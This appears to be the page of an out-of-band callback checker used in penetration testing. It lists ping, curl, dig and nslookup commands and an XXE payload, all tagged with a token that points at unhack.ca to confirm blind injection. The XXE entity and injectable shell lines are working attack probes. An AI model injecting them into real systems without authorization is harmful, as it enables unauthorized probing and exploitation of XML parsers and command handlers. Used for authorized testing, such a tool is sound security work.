$ ping -c1 -p 00c7e521afb529dbef46fbb96c446800 unhack.ca
 
$ curl http://unhack.ca/p/c7e521afb529dbef46fbb96c4468
 
$ dig c7e521afb529dbef46fbb96c4468 @unhack.ca
 
$ dig c7e521afb529dbef46fbb96c4468.ns.unhack.ca
 
C:\> nslookup c7e521afb529dbef46fbb96c4468 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c7e521afb529dbef46fbb96c4468">]>
    <foo>&xxe;</foo>
Waiting for ping...